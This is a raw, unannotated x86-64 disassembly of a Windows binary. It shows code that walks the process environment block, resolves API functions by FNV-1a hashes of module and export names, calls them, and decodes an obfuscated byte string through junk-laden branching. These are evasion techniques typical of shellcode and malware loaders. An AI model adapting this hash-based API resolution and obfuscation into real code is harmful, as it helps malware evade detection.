mov rcx, qword [rsp + 0x68]
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x14011ce5e
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x14011ce4d
cmp r8d, esi
jne 0x14011cf39
mov rbx, qword [rdi + 0x30]
movsxd rax, dword [rbx + 0x3c]
mov rax, qword [rax + rbx + 0x88]
mov r11d, eax
add r11, rbx
shr rax, 0x20
cmp r11, rbx
je 0x14011cf39
mov r9d, dword [r11 + 0x18]
test r9d, r9d
je 0x14011cf39
mov r10d, dword [r11 + 0x20]
dec r9d
lea rdx, [rbx + r9*4]
mov r8d, dword [rdx + r10]
add r8, rbx
mov edx, 0x811c9dc5
jmp 0x14011cec0
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x14011ceb5
cmp edx, r14d
je 0x14011ced6
test r9d, r9d
jne 0x14011cea0
jmp 0x14011cf39
mov r8d, dword [r11 + 0x1c]
add r8, rbx
mov edx, dword [r11 + 0x24]
add rdx, rbx
movzx edx, word [rdx + r9*2]
mov edx, dword [r8 + rdx*4]
add rdx, rbx
cmp rdx, r11
jbe 0x14011cf4e
lea rcx, [r11 + rax]
cmp rdx, rcx
jae 0x14011cf4e
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
jmp 0x14011cf18
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
inc rdx
mov al, byte [rdx]
cmp al, 0x2e
jne 0x14011cf0a
jmp 0x14011cf2d
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
inc rdx
mov al, byte [rdx]
test al, al
jne 0x14011cf20
mov rdi, qword [r15]
mov rdi, qword [rdi]
cmp rdi, r15
je 0x14011cf4b
cmp qword [rdi + 0x30], r12
jne 0x14011ce1c
mov rdx, r12
mov qword [0x1404fc150], rdx
xor ecx, ecx
call rdx
mov rdx, qword [0x1404fc148]
test rdx, rdx
jne 0x14011d0c2
mov esi, r12d
mov r14d, 0x2fd4df39
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rdi, qword [rax]
mov r15, rdi
movups xmm0, xmmword [rdi + 0x58]
movups xmmword [rsp + 0x60], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x60], ax
test esi, esi
je 0x14011cfd9
mov rcx, qword [rsp + 0x68]
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x14011cfcb
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x14011cfba
cmp r8d, esi
jne 0x14011d0a6
mov rbx, qword [rdi + 0x30]
movsxd rax, dword [rbx + 0x3c]
mov rax, qword [rax + rbx + 0x88]
mov r11d, eax
add r11, rbx
shr rax, 0x20
cmp r11, rbx
je 0x14011d0a6
mov r9d, dword [r11 + 0x18]
test r9d, r9d
je 0x14011d0a6
mov r10d, dword [r11 + 0x20]
dec r9d
lea rdx, [rbx + r9*4]
mov r8d, dword [rdx + r10]
add r8, rbx
mov edx, 0x811c9dc5
jmp 0x14011d02d
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x14011d022
cmp edx, r14d
je 0x14011d043
test r9d, r9d
jne 0x14011d00d
jmp 0x14011d0a6
mov r8d, dword [r11 + 0x1c]
add r8, rbx
mov edx, dword [r11 + 0x24]
add rdx, rbx
movzx edx, word [rdx + r9*2]
mov edx, dword [r8 + rdx*4]
add rdx, rbx
cmp rdx, r11
jbe 0x14011d0bb
lea rcx, [r11 + rax]
cmp rdx, rcx
jae 0x14011d0bb
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
jmp 0x14011d085
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
inc rdx
mov al, byte [rdx]
cmp al, 0x2e
jne 0x14011d077
jmp 0x14011d09a
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
inc rdx
mov al, byte [rdx]
test al, al
jne 0x14011d08d
mov rdi, qword [r15]
mov rdi, qword [rdi]
cmp rdi, r15
je 0x14011d0b8
cmp qword [rdi + 0x30], r12
jne 0x14011cf89
mov rdx, r12
mov qword [0x1404fc148], rdx
xor ecx, ecx
call rdx
mov rdx, qword [0x1404fc140]
test rdx, rdx
jne 0x14011d22f
mov esi, r12d
mov r14d, 0xe80fd3a
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rdi, qword [rax]
mov r15, rdi
movups xmm0, xmmword [rdi + 0x58]
movups xmmword [rsp + 0x60], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x60], ax
test esi, esi
je 0x14011d146
mov rcx, qword [rsp + 0x68]
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x14011d138
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x14011d127
cmp r8d, esi
jne 0x14011d213
mov rbx, qword [rdi + 0x30]
movsxd rax, dword [rbx + 0x3c]
mov rax, qword [rax + rbx + 0x88]
mov r11d, eax
add r11, rbx
shr rax, 0x20
cmp r11, rbx
je 0x14011d213
mov r9d, dword [r11 + 0x18]
test r9d, r9d
je 0x14011d213
mov r10d, dword [r11 + 0x20]
dec r9d
lea rdx, [rbx + r9*4]
mov r8d, dword [rdx + r10]
add r8, rbx
mov edx, 0x811c9dc5
jmp 0x14011d19a
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x14011d18f
cmp edx, r14d
je 0x14011d1b0
test r9d, r9d
jne 0x14011d17a
jmp 0x14011d213
mov r8d, dword [r11 + 0x1c]
add r8, rbx
mov edx, dword [r11 + 0x24]
add rdx, rbx
movzx edx, word [rdx + r9*2]
mov edx, dword [r8 + rdx*4]
add rdx, rbx
cmp rdx, r11
jbe 0x14011d228
lea rcx, [rax + r11]
cmp rdx, rcx
jae 0x14011d228
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
jmp 0x14011d1f2
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
inc rdx
mov al, byte [rdx]
cmp al, 0x2e
jne 0x14011d1e4
jmp 0x14011d207
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
inc rdx
mov al, byte [rdx]
test al, al
jne 0x14011d1fa
mov rdi, qword [r15]
mov rdi, qword [rdi]
cmp rdi, r15
je 0x14011d225
cmp qword [rdi + 0x30], r12
jne 0x14011d0f6
mov rdx, r12
mov qword [0x1404fc140], rdx
xor ecx, ecx
call rdx
cmp qword [0x1404fc138], r12
jne 0x14011d39b
mov esi, r12d
mov r14d, 0xa52bcaf9
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rdi, qword [rax]
mov r15, rdi
movups xmm0, xmmword [rdi + 0x58]
movups xmmword [rsp + 0x60], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x60], ax
test esi, esi
je 0x14011d2b0
mov rcx, qword [rsp + 0x68]
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x14011d2a2
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x14011d291
cmp r8d, esi
jne 0x14011d37f
mov rbx, qword [rdi + 0x30]
movsxd rax, dword [rbx + 0x3c]
mov rax, qword [rax + rbx + 0x88]
mov r11d, eax
add r11, rbx
shr rax, 0x20
cmp r11, rbx
je 0x14011d37f
mov r9d, dword [r11 + 0x18]
test r9d, r9d
je 0x14011d37f
mov r10d, dword [r11 + 0x20]
dec r9d
lea rdx, [rbx + r9*4]
mov r8d, dword [rdx + r10]
add r8, rbx
mov edx, 0x811c9dc5
jmp 0x14011d304
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x14011d2f9
cmp edx, r14d
je 0x14011d31a
test r9d, r9d
jne 0x14011d2e4
jmp 0x14011d37f
mov r8d, dword [r11 + 0x1c]
add r8, rbx
mov edx, dword [r11 + 0x24]
add rdx, rbx
movzx edx, word [rdx + r9*2]
mov r9d, dword [r8 + rdx*4]
add r9, rbx
cmp r9, r11
jbe 0x14011d394
lea rcx, [rax + r11]
cmp r9, rcx
jae 0x14011d394
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
jmp 0x14011d35c
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
inc r9
mov al, byte [r9]
cmp al, 0x2e
jne 0x14011d34e
jmp 0x14011d372
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
inc r9
mov al, byte [r9]
test al, al
jne 0x14011d365
mov rdi, qword [r15]
mov rdi, qword [rdi]
cmp rdi, r15
je 0x14011d391
cmp qword [rdi + 0x30], r12
jne 0x14011d260
mov r9, r12
mov qword [0x1404fc138], r9
mov r8, qword [0x1404fc168]
test r8, r8
jne 0x14011d410
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r9, qword [rax]
mov r10, r9
mov rcx, qword [r9 + 0x60]
movzx eax, word [r9 + 0x58]
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
cmp rcx, rdx
je 0x14011d3f8
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x14011d3d9
cmp r8d, 0x610c0de3
je 0x14011d461
mov r9, qword [r9]
cmp r9, r10
je 0x14011d406
cmp qword [r9 + 0x30], r12
jne 0x14011d3be
mov r8, r12
mov qword [0x1404fc168], r8
movsxd rax, dword [r8 + 0x3c]
mov r11d, dword [rax + r8 + 0x88]
mov r9d, r12d
mov r10d, dword [r11 + r8 + 0x20]
mov eax, r9d
lea rcx, [r10 + rax*4]
mov edx, dword [rcx + r8]
add rdx, r8
mov ecx, 0x811c9dc5
mov al, byte [rdx]
inc rdx
test al, al
je 0x14011d45c
movsx eax, al
xor eax, ecx
imul ecx, eax, 0x1000193
mov al, byte [rdx]
inc rdx
test al, al
jne 0x14011d440
cmp ecx, 0xe463da3c
je 0x14011d467
inc r9d
jmp 0x14011d424
mov r8, qword [r9 + 0x30]
jmp 0x14011d409
mov edx, dword [r11 + r8 + 0x1c]
add rdx, r8
mov ecx, dword [r11 + r8 + 0x24]
add rcx, r8
mov eax, r9d
movzx ecx, word [rcx + rax*2]
mov eax, dword [rdx + rcx*4]
add rax, r8
xor ecx, ecx
call rax
mov r12, rax
mov r10, qword [0x1404fba00]
test r10, r10
jne 0x14011d5f4
xor esi, esi
mov r14d, 0x820621f3
mov rcx, qword gs:[0x60]
mov rdx, qword [rcx + 0x18]
mov rcx, qword [rdx + 0x10]
mov rdi, qword [rcx]
mov r15, rdi
movups xmm0, xmmword [rdi + 0x58]
movups xmmword [rsp + 0x60], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x60], ax
test esi, esi
je 0x14011d50a
mov rcx, qword [rsp + 0x68]
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x14011d4fc
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x14011d4eb
cmp r8d, esi
jne 0x14011d5d7
mov rbx, qword [rdi + 0x30]
movsxd rax, dword [rbx + 0x3c]
mov rax, qword [rax + rbx + 0x88]
mov r11d, eax
add r11, rbx
shr rax, 0x20
cmp r11, rbx
je 0x14011d5d7
mov r9d, dword [r11 + 0x18]
test r9d, r9d
je 0x14011d5d7
mov r10d, dword [r11 + 0x20]
dec r9d
lea rdx, [rbx + r9*4]
mov r8d, dword [rdx + r10]
add r8, rbx
mov edx, 0x811c9dc5
jmp 0x14011d55e
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x14011d553
cmp edx, r14d
je 0x14011d574
test r9d, r9d
jne 0x14011d53e
jmp 0x14011d5d7
mov r8d, dword [r11 + 0x1c]
add r8, rbx
mov edx, dword [r11 + 0x24]
add rdx, rbx
movzx edx, word [rdx + r9*2]
mov r10d, dword [r8 + rdx*4]
add r10, rbx
cmp r10, r11
jbe 0x14011d5ed
lea rcx, [r11 + rax]
cmp r10, rcx
jae 0x14011d5ed
mov esi, 0x811c9dc5
mov r14d, esi
jmp 0x14011d5b4
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
inc r10
mov al, byte [r10]
cmp al, 0x2e
jne 0x14011d5a6
jmp 0x14011d5ca
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
inc r10
mov al, byte [r10]
test al, al
jne 0x14011d5bd
mov rdi, qword [r15]
mov rdi, qword [rdi]
cmp rdi, r15
je 0x14011d5ea
cmp qword [rdi + 0x30], 0
jne 0x14011d4ba
xor r10d, r10d
mov qword [0x1404fba00], r10
lea r9, [rbp + 0xe38]
mov edx, 0x5000
mov r8d, 1
mov rcx, r12
call r10
mov r8, qword [0x1404fc160]
test r8, r8
jne 0x14011d775
xor esi, esi
mov r14d, 0x33b00bc5
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rdi, qword [rax]
mov r15, rdi
movups xmm0, xmmword [rdi + 0x58]
movups xmmword [rsp + 0x60], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x60], ax
test esi, esi
je 0x14011d68b
mov rcx, qword [rsp + 0x68]
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x14011d67d
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x14011d66c
cmp r8d, esi
jne 0x14011d758
mov rbx, qword [rdi + 0x30]
movsxd rax, dword [rbx + 0x3c]
mov rax, qword [rax + rbx + 0x88]
mov r11d, eax
add r11, rbx
shr rax, 0x20
cmp r11, rbx
je 0x14011d758
mov r9d, dword [r11 + 0x18]
test r9d, r9d
je 0x14011d758
mov r10d, dword [r11 + 0x20]
dec r9d
lea rdx, [r10 + r9*4]
mov r8d, dword [rdx + rbx]
add r8, rbx
mov edx, 0x811c9dc5
jmp 0x14011d6df
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x14011d6d4
cmp edx, r14d
je 0x14011d6f5
test r9d, r9d
jne 0x14011d6bf
jmp 0x14011d758
mov r8d, dword [r11 + 0x1c]
add r8, rbx
mov edx, dword [r11 + 0x24]
add rdx, rbx
movzx edx, word [rdx + r9*2]
mov r8d, dword [r8 + rdx*4]
add r8, rbx
cmp r8, r11
jbe 0x14011d76e
lea rcx, [r11 + rax]
cmp r8, rcx
jae 0x14011d76e
mov esi, 0x811c9dc5
mov r14d, esi
jmp 0x14011d735
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
inc r8
mov al, byte [r8]
cmp al, 0x2e
jne 0x14011d727
jmp 0x14011d74b
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
inc r8
mov al, byte [r8]
test al, al
jne 0x14011d73e
mov rdi, qword [r15]
mov rdi, qword [rdi]
cmp rdi, r15
je 0x14011d76b
cmp qword [rdi + 0x30], 0
jne 0x14011d63b
xor r8d, r8d
mov qword [0x1404fc160], r8
mov edx, 0x5000
mov rcx, r12
call r8
mov qword [0], 0x99
movabs r14, 0xe2ff43c1b0c1bb8c
movabs r12, 0x289fac1d7322f8a4
mov byte [rbp + 0x530], reloc.WLDAP32.dll_Ordinal_200
mov byte [rbp + 0x531], 0xc9
mov byte [rbp + 0x532], 0xf8
mov byte [rbp + 0x533], Ordinal_211
mov byte [rbp + 0x534], 0xe0
mov byte [rbp + 0x535], Ordinal_50
mov byte [rbp + 0x536], 0x46
mov byte [rbp + 0x537], 0xba
mov byte [rbp + 0x538], Ordinal_79
mov byte [rbp + 0x539], 0x9d
mov byte [rbp + 0x53a], 0xbb
mov byte [rbp + 0x53b], 0xbf
mov byte [rbp + 0x53c], 0xbd
mov byte [rbp + 0x53d], 0x9d
mov byte [rbp + 0x53e], 0x40
mov byte [rbp + 0x53f], 0x45
mov byte [rbp + 0x540], 0xdc
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x541], xmm0
mov qword [rbp + 0x551], rax
mov word [rbp + 0x559], ax
mov byte [rbp + 0x55b], al
movabs rsi, 0x83a725eef7f5773a
mov bl, byte [rsp + 0x50]
call fcn.1401abe8c
mov rdi, qword [rax]
call fcn.1401abe94
mov r11, qword [rax]
xor r10d, r10d
lea r15d, [r10 + 1]
cmp r10, 0x2c
jae 0x14011e3f0
movzx r9d, byte [rbp + r10 + 0x530]
mov r8, r9
cmp rdi, r10
ja 0x14011e3e7
lea rax, [r11 + 1]
cmp rdi, rax
jae 0x14011d89d
lea rcx, [r10 + rsi]
mov rax, rcx
and rax, r9
imul rbx, rax, 0xfffffffffffffffe
add rbx, rcx
add rbx, r9
add bl, 0x6a
jmp 0x14011d8d7
je 0x14011e35a
lea rax, [r11 + 2]
cmp rdi, rax
je 0x14011e2d0
lea rax, [r11 + 4]
cmp rdi, rax
je 0x14011e29e
lea rax, [r11 + 5]
cmp rdi, rax
je 0x14011e251
lea rax, [r11 + 3]
cmp rdi, rax
je 0x14011e225
cmp r11, r10
ja 0x14011e3de
lea rax, [r11 + 6]
cmp rdi, rax
jae 0x14011d90a
movabs rdx, 0xccb61c9a5722c7c2
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x4e
jmp 0x14011db20
lea rax, [r11 + 1]
cmp rdi, rax
je 0x14011e1e0
lea rax, [r11 + 2]
cmp rdi, rax
je 0x14011e1bd
lea rax, [r11 + 3]
cmp rdi, rax
je 0x14011e19a
lea rax, [r11 + 6]
cmp rdi, rax
je 0x14011e174
lea rax, [r11 + rdi]
cmp rax, r10
jbe 0x14011de71
lea rax, [r11 + 3]
cmp rdi, rax
je 0x14011de50
lea rax, [r11 + 6]
cmp rdi, rax
je 0x14011de3c
lea rax, [r11 + 0xa]
cmp rdi, rax
je 0x14011de28
lea rax, [r11 + 0x28]
cmp rdi, rax
je 0x14011de02
lea rax, [r11 + 0x64]
cmp rdi, rax
je 0x14011dddf
lea rax, [r11 + 0x3e8]
cmp rdi, rax
je 0x14011ddbd
lea rax, [r11 + 0x61]
cmp rdi, rax
je 0x14011dd9c
lea rax, [r11 + 0x5a]
cmp rdi, rax
je 0x14011dd88
lea rcx, [r11 + 2]
cmp rdi, rcx
je 0x14011dd64
lea rax, [r11 + 5]
cmp rdi, rax
je 0x14011d94b
mov rdi, rcx
lea r11, [rcx + 9]
lea rax, [r11 + 5]
cmp rcx, rax
jb 0x14011e3b8
lea rax, [r11 + 9]
cmp rcx, rax
jb 0x14011e392
lea rax, [r11 + 0x20]
cmp rcx, rax
jb 0x14011db49
lea rax, [r11 + 0x42]
cmp rcx, rax
jb 0x14011db27
lea rax, [r11 + 0x200]
cmp rcx, rax
jb 0x14011db04
lea rax, [r11 + 0x1000]
cmp rcx, rax
jb 0x14011dd4d
lea rax, [r11 + 8]
cmp rcx, rax
jb 0x14011dcf3
lea rax, [r11 + 0x10]
cmp rcx, rax
jb 0x14011dca0
lea rcx, [r11 + 0x40]
cmp rdi, rcx
jb 0x14011dc75
lea rax, [r11 + 0x80]
cmp rdi, rax
jb 0x14011d94b
mov rdi, rcx
lea r11, [rcx + 0x400]
lea rax, [r11 + 0x80]
cmp rcx, rax
ja 0x14011dc53
lea rax, [r11 + 0x400]
cmp rcx, rax
ja 0x14011dc30
lea rax, [r11 + 0x7a]
cmp rcx, rax
ja 0x14011dc0e
lea rax, [r11 + 0x2a]
cmp rcx, rax
ja 0x14011dbfa
lea rax, [r11 + 3]
cmp rcx, rax
ja 0x14011dbe6
lea rax, [r11 + 6]
cmp rcx, rax
ja 0x14011dbd2
lea rax, [r11 + 0xa]
cmp rcx, rax
ja 0x14011dbaf
lea rax, [r11 + 0x28]
cmp rcx, rax
ja 0x14011db8d
lea rax, [r11 + 0x64]
cmp rcx, rax
ja 0x14011db6c
lea rax, [r11 + 0x3e8]
cmp rcx, rax
ja 0x14011d94b
lea rdi, [r11 + 0x5a]
lea r11, [rdi + 0x61]
jmp 0x14011d94b
movabs rdx, 0x7bc198c0a247bc7e
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x72
add bl, dl
jmp 0x14011d93e
movabs rcx, 0x74734ce2b25cce0a
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x46
jmp 0x14011d8d7
movabs rdx, 0x6d250104c271df96
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x1a
add bl, dl
jmp 0x14011d86f
movabs rdx, 0x65b0e4d2b9163e10
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x70
jmp 0x14011dfa6
movabs rcx, 0x5e6298f4c92b4f9c
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x44
jmp 0x14011e246
movabs rcx, 0x57144d16d9406128
add rcx, r10
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, 0x18
jmp 0x14011e249
movabs rdx, 0x4fc60138e95572b4
mov ecx, 0xa
jmp 0x14011e260
movabs rdx, 0x4877b55af96a8440
mov ecx, reloc.WLDAP32.dll_Ordinal_32
jmp 0x14011dff0
movabs rdx, 0x4129697d097f95cc
mov ecx, gethostname
jmp 0x14011e01f
movabs rcx, 0x39db1d9f1994a758
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x68
jmp 0x14011e2f1
movabs rdx, 0x328cd1c129a9b8e4
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x3c
add bl, dl
jmp 0x14011e325
movabs rcx, 0x2b3e85e339beca70
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x10
jmp 0x14011e37b
movabs rcx, 0x98fac83861f3764e
add rcx, r10
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, 0x22
mov byte [rbp + r10 + 0x530], bl
jmp 0x14011e38a
movabs rdx, 0x91ac7c5a720887da
add rdx, r10
mov al, dl
and al, r9b
mov ecx, 5
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
mov eax, 8
cmp r11, rax
jb 0x14011dc93
movabs rcx, 0x74991d36cbcd811c
add rcx, r10
mov al, cl
and al, r9b
mov edx, reloc.WLDAP32.dll_Ordinal_30
sub dl, al
add dl, dl
add dl, cl
add dl, r9b
lea ebx, [rdx + rdx]
jmp 0x14011e1fd
movabs rdx, 0x8a5e307c821d9966
add rdx, r10
mov al, r9b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_27
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
cmp rdi, 5
jae 0x14011e121
lea rcx, [r11 + 2]
cmp rdi, rcx
jbe 0x14011e082
movabs rcx, 0x2b8a268b6ca03094
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0xc
jmp 0x14011dcc1
movabs rdx, 0x830fe49e9232aaf2
add rdx, r10
mov ecx, Ordinal_50
jmp 0x14011de83
movabs rdx, 0xcc44ab9e0ad0ae8c
mov ecx, reloc.WLDAP32.dll_Ordinal_22
add rdx, r10
mov al, r9b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
jmp 0x14011e379
movabs rdx, 0xc4f65fc01ae5c018
mov ecx, Ordinal_46
jmp 0x14011e183
movabs rdx, 0xbda813e22afad1a4
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x7c
jmp 0x14011e2ef
movabs rcx, 0xb659c8043b0fe330
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x50
jmp 0x14011e2be
movabs rcx, 0xaf0b7c264b24f4bc
add rcx, r10
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, 0x24
jmp 0x14011e2bb
movabs rdx, 0xa7bd30485b3a0648
add rdx, r10
mov al, dl
and al, r9b
mov ecx, 4
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x14011e272
movabs rdx, 0xa06ee46a6b4f17d4
mov ecx, reloc.WLDAP32.dll_Ordinal_26
jmp 0x14011e1cc
movabs rdx, 0x9920988c7b642960
mov ecx, Ordinal_50
jmp 0x14011e234
movabs rdx, 0x91d24cae8b793aec
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x74
jmp 0x14011dfa6
lea rax, [r11 + 0x20]
cmp rdi, rax
jae 0x14011ded8
lea rdx, [r10 + rsi]
mov ecx, gethostname
mov al, r9b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
lea rax, [r11 + rdi]
cmp rax, 0x400
je 0x14011e14a
lea rax, [r11 + 0x80]
cmp rdi, rax
jbe 0x14011df7e
movabs rdx, 0x5ed409f1157d68d2
add rdx, r10
mov al, dl
and al, r9b
mov ecx, reloc.WLDAP32.dll_Ordinal_33
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x14011dd14
lea rax, [r11 + 1]
cmp rdi, rax
jne 0x14011def5
movabs rdx, 0x996c3934ae458f84
mov ecx, reloc.WLDAP32.dll_Ordinal_50
jmp 0x14011dd73
lea rax, [r11 + 3]
cmp rdi, rax
jne 0x14011df24
movabs rdx, 0xa808d0f08e1b6c6c
mov ecx, 6
add rdx, r10
mov al, dl
and al, r9b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x14011e2f1
lea rax, [r11 + 2]
cmp rdi, rax
jne 0x14011df4f
movabs rcx, 0xaf571cce7e065ae0
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x20
jmp 0x14011e2be
lea rax, [r11 + 5]
cmp rdi, rax
jne 0x14011de92
movabs rcx, 0xb6a568ac6df14954
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x4c
jmp 0x14011e2bb
lea rax, [r11 + 1]
cmp rdi, rax
jne 0x14011dfad
movabs rdx, 0x662255cf05685746
add rdx, r10
mov al, r9b
and al, dl
mov ecx, ntohl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
jmp 0x14011e1fd
lea rax, [r11 + 4]
cmp rdi, rax
jne 0x14011dfd8
movabs rcx, 0x7c0d3968d52922a2
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x6e
jmp 0x14011e272
lea rax, [r11 + 2]
cmp rdi, rax
jne 0x14011e007
movabs rdx, 0x835b8546c5141116
mov ecx, 0x33
add rdx, r10
mov al, dl
and al, r9b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x14011e2bb
lea rax, [r11 + 5]
cmp rdi, rax
jne 0x14011e036
movabs rdx, 0x8aa9d124b4feff8a
mov ecx, Ordinal_32
add rdx, r10
mov al, dl
and al, r9b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x14011e2be
lea rax, [r11 + 7]
cmp rdi, rax
jne 0x14011e053
movabs rdx, 0x91f81d02a4e9edfe
mov ecx, 7
jmp 0x14011df0d
lea rax, [r11 + 3]
cmp rdi, rax
jne 0x14011dd14
movabs rcx, 0x994668e094d4dc72
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x1e
jmp 0x14011e325
lea rax, [r11 + 1]
cmp rdi, rax
jne 0x14011e0ae
movabs rcx, 0x32d872695c8b1f08
add rcx, r10
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, 0x38
jmp 0x14011e37b
cmp rdi, rcx
jne 0x14011e0d5
movabs rcx, 0x3a26be474c760d7c
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x64
jmp 0x14011e325
lea rax, [r11 + 3]
cmp rdi, rax
jne 0x14011e0f2
movabs rdx, 0x41750a253c60fbf0
mov ecx, Ordinal_60
jmp 0x14011df0d
lea rax, [r11 + 5]
cmp rdi, rax
jne 0x14011dcc1
movabs rcx, 0x575fedbf0c21c74c
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x14
jmp 0x14011e272
movabs rdx, 0x7be76914bbb86f90
add rdx, r10
mov al, r9b
and al, dl
mov ecx, 8
sub cl, al
lea ebx, [rcx + rcx]
add bl, byte [rbp + r10 + 0x530]
